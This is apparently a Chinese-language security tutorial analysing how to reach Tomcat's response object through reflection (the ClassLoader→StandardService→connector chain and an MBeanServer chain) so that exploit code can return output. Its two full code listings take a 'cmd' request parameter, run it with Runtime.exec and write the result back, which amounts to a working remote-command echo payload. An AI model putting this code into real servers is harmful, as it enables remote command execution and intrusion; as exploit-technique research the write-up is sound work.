1.1. 介绍

2020年3月长亭Litch1师傅找到的一种基于全局储存的新思路,寻找在Tomcat处理Filter和Servlet之前有没有存储response变量的对象。整个过程分析下来就像是在构造调用链,一环扣一环,直到找到了那个静态变量或者是那个已经创建过的对象。

1.1.1. 优势

利用中间件来实现回显,可以跨平台通用,只要使用了相关的组件就可以达到回显的目的

1.1.2. 实现手法

个人感觉和内存马输出的方法类似,要想控制输出,那么就要获取到response,然后对其进行定制化调用,实现内容输出

1.2. 快速搭建tomcat调试环境

之前在学习EL表达式的时候,使用了IDEA一种结合本地tomcat服务器搭建环境的方法;

这次我们使用另一种内置Tomcat的方法,来方便我们调试tomcat


Tomcat实际上也是一个Java程序,我们看看Tomcat的启动流程:

  1. 启动JVM并执行Tomcat的main()方法;
  2. 加载war并初始化Servlet;
  3. 正常服务。

启动Tomcat无非就是设置好classpath并执行Tomcat某个jar包的main()方法,我们完全可以把Tomcat的jar包全部引入进来,然后自己编写一个main()方法,先启动Tomcat,然后让它加载我们的webapp就行。

1.2.1. 创建maven项目

创建webapp模板

1.2.2. 修改pom.xml

引入tomcat依赖包,修改pom.xml文件,引入依赖 tomcat-embed-coretomcat-embed-jasper,引入的 Tomcat 版本 <tomcat.version>8.5.47

tomcat-embed-core 依赖包含 javax.servlet 下的内容,因此不需要再额外引入依赖 javax.servlet-api

<properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
    <tomcat.version>8.5.47</tomcat.version>    <!-- 设定tomcat版本 -->
  </properties>

<dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-core</artifactId>
      <version>${tomcat.version}</version>
      <scope>provided</scope>
    </dependency>
    <dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-jasper</artifactId>
      <version>${tomcat.version}</version>
      <scope>provided</scope>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-jasper</artifactId>    <!-- idea 识别不出来,要单独引入这个依赖 -->
      <version>${tomcat.version}</version>
    </dependency>

    <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>    <!-- idea 识别不出来,要单独引入这个依赖 -->
      <version>${tomcat.version}</version>
    </dependency>

1.2.3. 创建Java代码文件夹

创建maven规范的代码存放文件夹java

创建java目录

1.2.4. 创建启动类

TomcatMain为例,创建后启动访问http://localhost:8080/就可以看到hello world界面了

import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.startup.Tomcat;
import org.apache.catalina.webresources.DirResourceSet;
import org.apache.catalina.webresources.StandardRoot;

import java.io.File;

/**
 * @author d4m1ts
 */
public class TomcatMain {
    public static void main(String[] args) throws LifecycleException {
        // 启动tomcat
        Tomcat tomcat = new Tomcat();
        tomcat.setPort(8080);
        tomcat.getConnector();

        // 创建webapp
        // 创建上下文,后面要绝对路径
        Context context = tomcat.addWebapp("","/Users/d4m1ts/d4m1ts/java/TomcatEcho/src/main/webapp");
        WebResourceRoot resources = new StandardRoot(context);
        resources.addPreResources(new DirResourceSet(resources, "/WEB-INF/classes",new File("target/classes").getAbsolutePath(), "/"));
        context.setResources(resources);

        tomcat.start();
        tomcat.getServer().await();

    }
}

启动后效果

1.2.5. 创建servlet

直接在java目录上点击鼠标右键New可能没有Create New Servlet等选项来快速创建servlet-api,需要执行下列的一些操作来添加上(有的可以直接看下面创建部分):

1、将src标记成Sources文件

标记为sources文件

2、配置source root

[!note]

我的servlet写在src\main\java里,所以就勾选第一个。要是打算在多个文件下Create New Servlet ,那就把src的都勾上。

设置source root


快速创建servlet:

创建Servlet

编写代码:

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet(name = "HelloServlet", urlPatterns = "/hello")
public class HelloServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    }

    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter writer = response.getWriter();
        writer.write("hello world");
        writer.flush();
    }
}

实现效果

1.3. servlet过程分析

在我们编写的servlet处下个断点,然后用浏览器访问,观察调用栈

doGet:18, HelloServlet
service:634, HttpServlet (javax.servlet.http)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:528, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:798, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:810, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1500, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

可以看到:

  • 1-3行是servlet处理过程
  • 4-5行是filter处理过程
  • 再向下就是tomcat的各种初始化过程

[!note]

考虑到一些组件如ShiroJFinal都有全局拦截器,如果我们想要非常通用,最好是在tomcat初始化的过程中就获取到response然后定制修改;

从上面的堆栈来看,就是从>=第六行去寻找,越靠后就说明在初始化过程中越早,利用效果越好。

1.4. 利用链挖掘

1.4.1. response获取

[!tip]

  1. 找到response对象
  2. 分析它如何初始化的(它是怎么来的)
  3. 获取到它初始化后的实例
  4. 通过它去控制输出

平时我们要拿到一个内存中的实例对象,主要有两种方法:

  1. 反射
  2. 回溯分析,应用是怎么初始化这个变量的,找关联函数、类、类变量等,再得到这个变量

分析上面的调用栈,除去后期对servletfilter的处理

invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:528, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:798, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:810, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1500, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

从下向上挨着看,发现整个调用过程中最初使用到response的就是第8行的service:798, Http11Processor (org.apache.coyote.http11)

service:798, Http11Processor (org.apache.coyote.http11)

说明responseresquest在这之前就已经初始化了,所以我们需要向上回溯分析

查看这个response的定义,是org.apache.coyote.AbstractProcessor抽象类中的一个变量Response response

org.apache.coyote.AbstractProcessor#response

跟一下这个response是如何初始化的

find usage

发现是AbstractProcessor类的构造函数初始化,且resquest对象中包含了response

也就是说:我们后期如果拿到了resquest,也可以通过其拿到response

注意:想要调用下面的protected构造函数,实际是需要调用上面的publuc构造函数,再通过上面的构造函数调用下面有response的构造函数

image-20220209142613612

而在Http11Processor类中要用到这个protected修饰的response变量,大概率是继承了AbstractProcessor,去看下,很明显

继承关系

所以我们还要找一下,responseHttp11Processor类中是如何初始化的,看一下它的构造函数,是调用了父类AbstractProcessor的构造函数

Http11Processor构造函数

所以requestresponse初始化是在Http11Processor的构造函数中初始化的


所以现在思路比较明确,Http11Processor类初始化后,通过各种方法拿到request或者response实例即可,因为它们是通过protected来修饰的,所以可以通过当前类、同包和子类中来查找是否有相关的函数来获取这俩实例

java修饰符

还是查找requestresponse实例的usage

usage

发现org.apache.coyote.AbstractProcessor提供了一个getRequest方法来获取request对象

image-20220209144852773

获取到request对象后,再通过Request类提供的getResponse方法来获取response

image-20220209145324208

最后通过responsedoWrite()方法,写进内容,返回给前端

也可以通过setHeader()方法写入到返回头中

image-20220209145459900

所以一条response部分利用链如下:

Http11Processor继承了AbstractProcessor,所以调用Http11Processor#getRequest()就等于AbstractProcessor#getRequest()

Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
    Request#getResponse() ->
        Response#doWrite()

1.4.2. Http11Processor类相关

前面挖掘部分说了,获取了Http11Processor实例后,就可以获取request,也就可以获取response,我们的目的也达成了,但是如何来获取Http11Processor实例或者Http11Processor request、response的变量

继续向前分析,看什么时候出现了Http11Processor类的实例;发现是在org.apache.coyote.AbstractProtocol.ConnectionHandler#process这个函数中,初始化是通过connections.get(socket)来赋值

image-20220209152439431

但722行这个时候获取的processor值为null,因为connections值为空,在806行的时候才添加内容到connections

image-20220209160753875

所以我们重新下个断点分析一下processor是如何赋值的,可以看到connections722行初始化的时候长度是0,processor这个时候也是null,这也验证了我们上面说的

image-20220209155109438

一直往后跟,在798行的时候会对processor进行赋值,调用this.getProtocol().createProcessor();来获得的

image-20220209155231759

赋值后会进入register函数对processor进行一些处理,重点也在这

跟进注册函数,发现变量rp是RequestInfo类,而通过RequestInfo类我们可以获取到request,后续也就可以获取到response

rp.req.getResponse()

image-20220209165017817

所以这里我们可以着重关注一下,如何获取RequestInfo对象rp,从后面的内容可以看出来,主要有2个地方:

  1. 第一处会通过rp.setGlobalProcessor(global)设置到global中,具体可以看代码
  2. 第二处会通过Registry.getRegistry(null, null).registerComponent(rp,rpName, null);注册到其他地方

image-20220209165207236

所以想要构造链,主要有两种方法:

  1. 寻找获取global的方法
  2. 跟踪Registry.registerComponent()流程,查看具体的RequestInfo对象被注册到什么地方了

获取global

先放下整条链的结果:

Thread.currentThread().getContextClassLoader()->resources->context->context->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

global变量是AbstractProtocol静态内部类ConnectionHandler的成员变量;不是static静态变量,因此我们还需要找存储AbstractProtocol类或AbstractProtocol子类。现在的利用链为

AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response

分析继承关系,发现它有子类Http11NioProtocol,所以如果我们获取到这个类,那么也能获取到global

image-20220209171115093

[!note]

Tomcat初始化StandardService时,会启动ContainerExecutormapperListener及所有的Connector。其中Executor负责为Connector处理请求提供共用的线程池,mapperListener负责将请求映射到对应的容器中,Connector负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在Connector对象中

分析调用栈,发现存在这个类,org.apache.catalina.connector.CoyoteAdapter#connectorprotocolHandler属性值类就是Http11NioProtocol

image-20220209171449493

((AbstractProtocol.ConnectionHandler) ((Http11NioProtocol) connector.protocolHandler).handler).global.processors.get(0).req.getResponse()

所以现在的思路是如何获取到这个connector,新的利用链

connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response

Litch1师傅分析出在Tomcat启动过程中会创建connector对象,并通过org.apache.catalina.core.StandardService#addConnector存放在connectors

org.apache.catalina.startup.Tomcat#setConnector

然后通过org.apache.catalina.core.StandardService#initInternal进行初始化

image-20220209173933442

因为先添加了再初始化,所以这个时要获取connectors,可以通过org.apache.catalina.core.StandardService来获取

所以利用链

StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response

所以最后就是如何获得StandardService了,这里利用的是tomcat放弃了双亲委派模型的思路

[!note]

双亲委派机制的缺点:当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。

Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

通过Thread.currentThread().getContextClassLoader()来获取当前线程的ClassLoader,再从resources->context->context当中寻找即可。

image-20220210094109672

所以最终的手法

Thread.currentThread().getContextClassLoader()->resources->context->context->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

global链路代码

[!note]

尽可能的找到能够直接通过函数获取到想要的数据,实在不行再使用反射

1、获取StandardContext

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

Thread.currentThread().getContextClassLoader().getClass()的值为org.apache.catalina.loader.ParallelWebappClassLoader,它继承了WebappClassLoaderBase,而resources变量是WebappClassLoaderBase类中的,所以这里如果也想使用反射的话,需要如下:

// 获取 StandardContext
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Field resources = org.apache.catalina.loader.WebappClassLoaderBase.class.getDeclaredField("resources");
resources.setAccessible(true);
org.apache.catalina.webresources.StandardRoot standardRoot = (StandardRoot) resources.get(contextClassLoader);
StandardContext standardContext = (StandardContext) standardRoot.getContext();

2、获取StandardContext中的context

Field context = standardContext.getClass().getDeclaredField("context");
context.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);

image-20220210100818723

3、获取context中的service

Field service = applicationContext.getClass().getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);

4、获取service中的connectors

Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);

5、反射获取 AbstractProtocol$ConnectoinHandler 实例

ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handler.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);

6、反射获取global内部的processors

org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
processors.setAccessible(true);
ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);

7、获取response输出内容

Field req = RequestInfo.class.getDeclaredField("req");
req.setAccessible(true);
for (org.apache.coyote.RequestInfo requestInfo : processors1) {
    org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
    // 转换为 org.apache.catalina.connector.Request 类型
    org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
    org.apache.catalina.connector.Response response1 = request2.getResponse();
    PrintWriter writer = response1.getWriter();
    writer.write("tomcat echo");
    writer.flush();
}

代码汇总:

// 获取 StandardContext
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

        try {
            // 反射获取StandardContext中的context
            Field context = standardContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);

            // 反射获取context中的service
            Field service = applicationContext.getClass().getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);

            // 反射获取service中的connectors
            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);

            // 反射获取 AbstractProtocol$ConnectoinHandler 实例
            ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
            Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
            handler.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);

            // 反射获取global内部的processors
            org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
            Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
            processors.setAccessible(true);
            ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);

            // 获取response修改数据
            // 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
            Field req = RequestInfo.class.getDeclaredField("req");
            req.setAccessible(true);
            for (org.apache.coyote.RequestInfo requestInfo : processors1) {
                org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
                // 转换为 org.apache.catalina.connector.Request 类型
                org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
                org.apache.catalina.connector.Response response1 = request2.getResponse();

                // 获取参数
                PrintWriter writer = response1.getWriter();
                String cmd = request2.getParameter("cmd");
                if (cmd != null) {
                    Process exec = Runtime.getRuntime().exec(cmd);
                    InputStream inputStream = exec.getInputStream();
                    DataInputStream dataInputStream = new DataInputStream(inputStream);
                    String disr = dataInputStream.readLine();
                    while ( disr != null ) {
                        writer.write(disr);
                        disr = dataInputStream.readLine();
                    }
                }
                writer.flush();

                }
            } catch (IllegalAccessException illegalAccessException) {
            illegalAccessException.printStackTrace();
        } catch (NoSuchFieldException noSuchFieldException) {
            noSuchFieldException.printStackTrace();
        }

效果

image-20220210114240691

跟踪Registry.registerComponent()

跟进org.apache.tomcat.util.modeler.Registry#registerComponent(java.lang.Object, javax.management.ObjectName, java.lang.String)这个函数,发现会给RequestInfo对象注册到MBeanServer

oname的值为Tomcat:name=HttpRequest1,type=RequestProcessor,worker="http-nio-8080"

image-20220210124145698

所以如果能通过MBeanServer来获取到相关的信息,会更加的方便直接

分析一下,通过Registry#getMBeanServer()函数能够直接获取到MBeanServer实例

image-20220210124548884

所以现在问题是怎么拿到org.apache.tomcat.util.modeler.Registry这个类的实例,我们还是分析一下应用是怎么拿到的,然后模拟一下即可

它是直接使用Registry.getRegistry(null, null)来获取的

image-20220210125302698

所以我们也模拟一下这个过程,整个过程中变量.getClass是什么类我们就给他转换为什么类即可

jmxMBeanServer.mbsInterceptor.getClass()的类是com.sun.jmx.interceptor.DefaultMBeanServerInterceptor,我们就给他转换过去即可

老实说MBeanServerRequestInfo的过程还是有点难找,不知道有没有啥快的办法,还是大佬们牛逼

com.sun.jmx.mbeanserver.JmxMBeanServer jmxMBeanServer = (com.sun.jmx.mbeanserver.JmxMBeanServer) org.apache.tomcat.util.modeler.Registry.getRegistry(null, null).getMBeanServer();
com.sun.jmx.interceptor.DefaultMBeanServerInterceptor defaultMBeanServerInterceptor = (DefaultMBeanServerInterceptor) jmxMBeanServer.mbsInterceptor;
com.sun.jmx.mbeanserver.Repository repository = defaultMBeanServerInterceptor.repository;
repository.query(new ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null);

image-20220210131031927

这里由于测试的关系只存在一个对象,在具体构造时可以直接遍历所有符合条件的情况。有了RequestInfo,那我们就可以拿到response完成回显了

利用链:

jmxMBeanServer->resource(和上面的global一样)->->processors->RequestInfo->req->response

MBeanServer链路代码

这个比上面的要简单一些,可以尝试自己多写写

try {
            com.sun.jmx.mbeanserver.JmxMBeanServer jmxMBeanServer = (com.sun.jmx.mbeanserver.JmxMBeanServer) org.apache.tomcat.util.modeler.Registry.getRegistry(null, null).getMBeanServer();
            Field mbsInterceptor = com.sun.jmx.mbeanserver.JmxMBeanServer.class.getDeclaredField("mbsInterceptor");
            mbsInterceptor.setAccessible(true);
            com.sun.jmx.interceptor.DefaultMBeanServerInterceptor defaultMBeanServerInterceptor = (DefaultMBeanServerInterceptor) mbsInterceptor.get(jmxMBeanServer);

            Field repository = defaultMBeanServerInterceptor.getClass().getDeclaredField("repository");
            repository.setAccessible(true);
            com.sun.jmx.mbeanserver.Repository repository1 = (Repository) repository.get(defaultMBeanServerInterceptor);

            HashSet<com.sun.jmx.mbeanserver.NamedObject> hashSet = (HashSet<com.sun.jmx.mbeanserver.NamedObject>) repository1.query(new javax.management.ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null);
            for (com.sun.jmx.mbeanserver.NamedObject namedObject : hashSet ) {
                Field object = namedObject.getClass().getDeclaredField("object");
                object.setAccessible(true);
                org.apache.tomcat.util.modeler.BaseModelMBean baseModelMBean = (BaseModelMBean) object.get(namedObject);

                Field resource = baseModelMBean.getClass().getDeclaredField("resource");
                resource.setAccessible(true);
                org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) resource.get(baseModelMBean);

                Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
                processors.setAccessible(true);
                ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);

                // 获取response修改数据
                // 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
                Field req = RequestInfo.class.getDeclaredField("req");
                req.setAccessible(true);
                for (org.apache.coyote.RequestInfo requestInfo : processors1) {
                    org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
                    // 转换为 org.apache.catalina.connector.Request 类型
                    org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
                    org.apache.catalina.connector.Response response1 = request2.getResponse();

                    // 获取参数
                    PrintWriter writer = response1.getWriter();
                    String cmd = request2.getParameter("cmd");
                    if (cmd != null) {
                        Process exec = Runtime.getRuntime().exec(cmd);
                        InputStream inputStream = exec.getInputStream();
                        DataInputStream dataInputStream = new DataInputStream(inputStream);
                        String disr = dataInputStream.readLine();
                        while (disr != null) {
                            writer.write(disr);
                            disr = dataInputStream.readLine();
                        }
                    }
                    writer.flush();
                }
            }


        } catch (NoSuchFieldException | IllegalAccessException | MalformedObjectNameException e) {
            e.printStackTrace();
        }

效果:

image-20220210161315396

1.5. 总结

  1. 最后代码实现过程还是比较简单,主要还是分析过程找到一条可利用的链
  2. 平时我们要拿到一个内存中的实例对象,主要有两种方法:
    1. 反射
    2. 向上回溯分析,应用是怎么初始化这个实例的,找关联函数、类、类变量等,再得到这个实例
  3. 向上一直回溯到可以通过一些方法获取到内存中的实例为止,如Registry.getRegistry(null, null).getMBeanServer(),相当于找到整条链的头
  4. 编写代码过程中不知道返回的对象是哪一个类的,可以通过debug调试看到,然后再进行类型转换

[!WARNING|style:flat]

如有错误,敬请指正

1.6. 参考

Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2022-02-10 17:06:07

results matching ""

    No results matching ""